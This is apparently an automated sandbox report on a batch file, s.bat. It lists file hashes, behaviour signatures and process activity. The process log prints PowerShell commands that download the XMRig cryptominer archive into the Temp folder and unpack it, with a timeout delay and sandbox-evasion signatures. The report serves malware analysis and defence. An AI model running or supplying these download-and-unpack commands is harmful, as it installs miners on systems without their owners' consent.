Analysis

  • max time kernel
    86s
  • max time network
    73s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 15:07

General

  • Target

    s.bat

  • Size

    1KB

  • MD5

    1e64009a55d5a9eb64fd903f621e5ae0

  • SHA1

    0e5de7ecc2363d16ac2ae8f244d895cff70d6cdb

  • SHA256

    c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf

  • SHA512

    2b28221714861951beeb73247a7ab58f4e68d3510e030d25787a13c6c715cea2b82d51cb1f262736dde8738e9ceb59420b4d4dc724524ece75a6a13978da8695

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 63 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3864
    • C:\Windows\system32\timeout.exe
      timeout /t 10
      2⤵
      • Delays execution with timeout.exe
      PID:2264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4176
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:4468
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:5084

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      a2b24af1492f112d2e53cb7415fda39f

      SHA1

      dbfcee57242a14b60997bd03379cc60198976d85

      SHA256

      fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

      SHA512

      9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ku4od5cm.bdp.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

      Filesize

      2.5MB

      MD5

      57b7ab5bce7d5e47fd168e1f0d437d32

      SHA1

      050eeae3e0f0e876f9da175347b586871d14fe83

      SHA256

      1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

      SHA512

      8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

    • memory/3864-10-0x0000024772E80000-0x0000024772EA2000-memory.dmp

      Filesize

      136KB

    • memory/3864-16-0x00007FFD651D0000-0x00007FFD65C91000-memory.dmp

      Filesize

      10.8MB

    • memory/3864-11-0x00007FFD651D0000-0x00007FFD65C91000-memory.dmp

      Filesize

      10.8MB

    • memory/3864-12-0x00007FFD651D0000-0x00007FFD65C91000-memory.dmp

      Filesize

      10.8MB

    • memory/3864-0-0x00007FFD651D3000-0x00007FFD651D5000-memory.dmp

      Filesize

      8KB

    • memory/4176-55-0x00007FFD64C80000-0x00007FFD65741000-memory.dmp

      Filesize

      10.8MB

    • memory/4176-29-0x00007FFD64C80000-0x00007FFD65741000-memory.dmp

      Filesize

      10.8MB

    • memory/4176-31-0x000001E1DD0D0000-0x000001E1DD0E2000-memory.dmp

      Filesize

      72KB

    • memory/4176-28-0x00007FFD64C80000-0x00007FFD65741000-memory.dmp

      Filesize

      10.8MB

    • memory/4176-32-0x000001E1DABD0000-0x000001E1DABDA000-memory.dmp

      Filesize

      40KB

    • memory/4176-27-0x00007FFD64C80000-0x00007FFD65741000-memory.dmp

      Filesize

      10.8MB

    • memory/4468-58-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB

    • memory/4468-56-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB

    • memory/4468-57-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB

    • memory/4468-62-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB

    • memory/4468-68-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB

    • memory/4468-67-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB

    • memory/4468-66-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB

    • memory/4468-65-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB

    • memory/4468-64-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB

    • memory/4468-63-0x000001F633C90000-0x000001F633C91000-memory.dmp

      Filesize

      4KB